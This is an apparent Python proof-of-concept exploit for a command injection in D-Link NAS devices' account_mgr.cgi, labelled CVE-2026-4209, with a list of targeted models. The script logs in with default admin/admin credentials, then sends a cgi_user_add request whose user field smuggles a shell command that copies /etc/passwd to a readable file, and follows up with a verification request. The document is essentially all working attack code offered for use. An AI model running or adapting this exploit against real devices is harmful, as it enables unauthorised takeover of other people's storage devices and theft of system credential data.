import requests
# CVE-2026-4209 PoC - D-Link account_mgr.cgi Command Injection
# Target: D-Link NAS devices (DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04)
target_ip = "192.168.1.1" # Target device IP
target_port = 80
username = "admin"
password = "admin"
def exploit_cve_2026_4209():
"""
Exploit for CVE-2026-4209: Command Injection in D-Link account_mgr.cgi
Affected functions: cgi_create_import_users, cgi_user_batch_create, cgi_user_set_quota,
cgi_user_del, cgi_user_modify, cgi_group_set_quota, cgi_group_modify,
cgi_group_add, cgi_user_add, cgi_get_modify_group_info, cgi_chg_admin_pw
"""
# Login to get session
login_url = f"http://{target_ip}:{target_port}/cgi-bin/account_mgr.cgi"
login_data = {
"cmd": "cgi_login",
"username": username,
"password": password
}
session = requests.Session()
try:
# Attempt login
response = session.post(login_url, data=login_data, timeout=10)
# Inject command via cgi_user_add function
# Payload: inject arbitrary command via user parameter
inject_data = {
"cmd": "cgi_user_add",
"user": "testuser; cat /etc/passwd > /tmp/pwned.txt", # Command injection payload
"group": " administrators "
}
exploit_response = session.post(login_url, data=inject_data, timeout=10)
print(f"Exploit sent. Status code: {exploit_response.status_code}")
print(f"Response: {exploit_response.text}")
# Verify exploitation by checking if command was executed
verify_url = f"http://{target_ip}:{target_port}/cgi-bin/account_mgr.cgi"
verify_data = {
"cmd": "cgi_get_modify_group_info",
"group": " administrators "
}
verify_response = session.post(verify_url, data=verify_data, timeout=10)
print(f"Verification response: {verify_response.text}")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
if __name__ == "__main__":
print("CVE-2026-4209 D-Link Command Injection Exploit")
print("Target: account_mgr.cgi")
exploit_cve_2026_4209()